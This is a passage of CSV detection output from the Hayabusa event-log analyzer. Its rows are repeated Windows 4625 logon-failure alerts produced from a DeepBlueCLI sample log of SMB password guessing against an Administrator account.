NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.688 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GW4WKkHocNadDzrb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.732 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: unbtFAiykcfKTbQT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.768 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oRzF1s9XVoRmoFQ6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.813 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9TO1c7eYd1IQHVwG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.852 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Wsn5GM4BqEl6A6pY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.900 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pq350wqwVDQlTKu9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.945 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uMJWwjG7J2sOiBYd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.984 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3YusfxQQygi2x5Cu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.024 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6q29uj6ovfwz0riC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.072 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cj38VsqGLoQ8jGdf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.120 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TOW8OIO2vQRFaTID : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.173 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DfYITdZCYwEj9IJV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.205 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4BI6V35tZGZ1WGtJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.256 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wOF75n4aunKH9qxc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.296 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jsTFTCnFFBkhG5jP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.328 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5qiwcKE2TQui2H8z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.380 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PZOCyXplWOCyKbFm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.416 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RhyaAhYB78nbh1Ig : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.462 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MIJU9xbr1klIvvdE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.506 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qLKVR3mW3g3utO4X : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.544 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aNm4tVG8bV7e9gbB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.580 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JtU0PCr9K5DXFYV2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.622 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CH3BWNPEWlw52Gb6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.660 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vQTYqFKBz6YEWhF6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.708 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qkj3u8ODgLD7xQ5R : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.758 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: r9uyze1uO0zuNNUM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.803 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UmL15i3edXHcUamI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.840 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: x7xjFRjv9rDhiXJ6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.880 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6BmQhVEv8g7EKu1F : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.920 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: upOMmG87cDO1NFg0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.963 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tO55KfkORhxFORvF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.008 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: D64wDbqkqmzWuUSa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.056 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sIDgNIlGA0cOkBOI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.082 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: i0kXPQ6s7CGe4QGA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.156 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HW5jP389jmqSkzF1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.186 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: enhsof25BdDPcI2c : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.228 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4acsPMLUJRrT7mmL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.272 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hi1dzny6hpyr5N3d : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.305 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RlPVBSnDMlE0QZaJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.348 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: th72TwMoRXtDVWge : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.387 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KGTTiJSkErjzoUUC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.424 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xyzZwNLltF0cYnai : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.464 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gYWVQ6mCqyBfDm3m : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.505 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rg2x2lv9JeS5Bb6l : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.536 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fU28NKC3WYxFGbMN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.580 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EUWDXgnogGDXizWj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.629 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IXhAtnNcQKOIsuGS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.672 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cKfrJwI3OGdjL4af : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.724 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VdekC160hU7YzrK9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.773 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: enOBuzd6jwu8rZCH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.812 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eAjLjDlZSps5D49t : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.844 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rY6CONLBVygSTnY5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.883 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6FIHgz2yqqbD9zfV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.918 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: d82RRXgSmZdnfa8I : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.968 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xA3ZWnWc9CoGeKpm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.008 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FvSYKi8KvEtnmSbs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.056 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IvxXI1u0AwtNHNSU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.096 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OFIy6Cps3Rm87Kqf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.135 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: slL3aPBnZl3lVJst : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.171 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: O98P1oP3AU4lZp2D : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.217 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EZZ7wIJNZ0CG7fMs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.268 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7RhwHCqXQytvcaom : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.309 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xumaxbBEMZqL6pPO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.348 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ur1yZIwgB3ecNJGw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.397 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xAuGcKYRcLe0z3bl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.436 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mmMi0edfBJ8KoJst : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.480 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hlnoKbUb9jiqJD7t : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.524 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hBeWGNkWTSp3nje8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.565 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2iwM6jPgNjZ3q5qb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.604 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xdkrA9Kwzero8eSk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.652 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Tb2ZvuJMxOfsxIT6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.697 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PBMBRPdATYpLNmyI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.740 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: P1CKprAPSw4hgiBB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.784 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Y8qtzwuGJfQG4XB7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.833 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: auOf2GwkoymLh4bC : IP Address: 192.168.198.149 : AuthPackage: 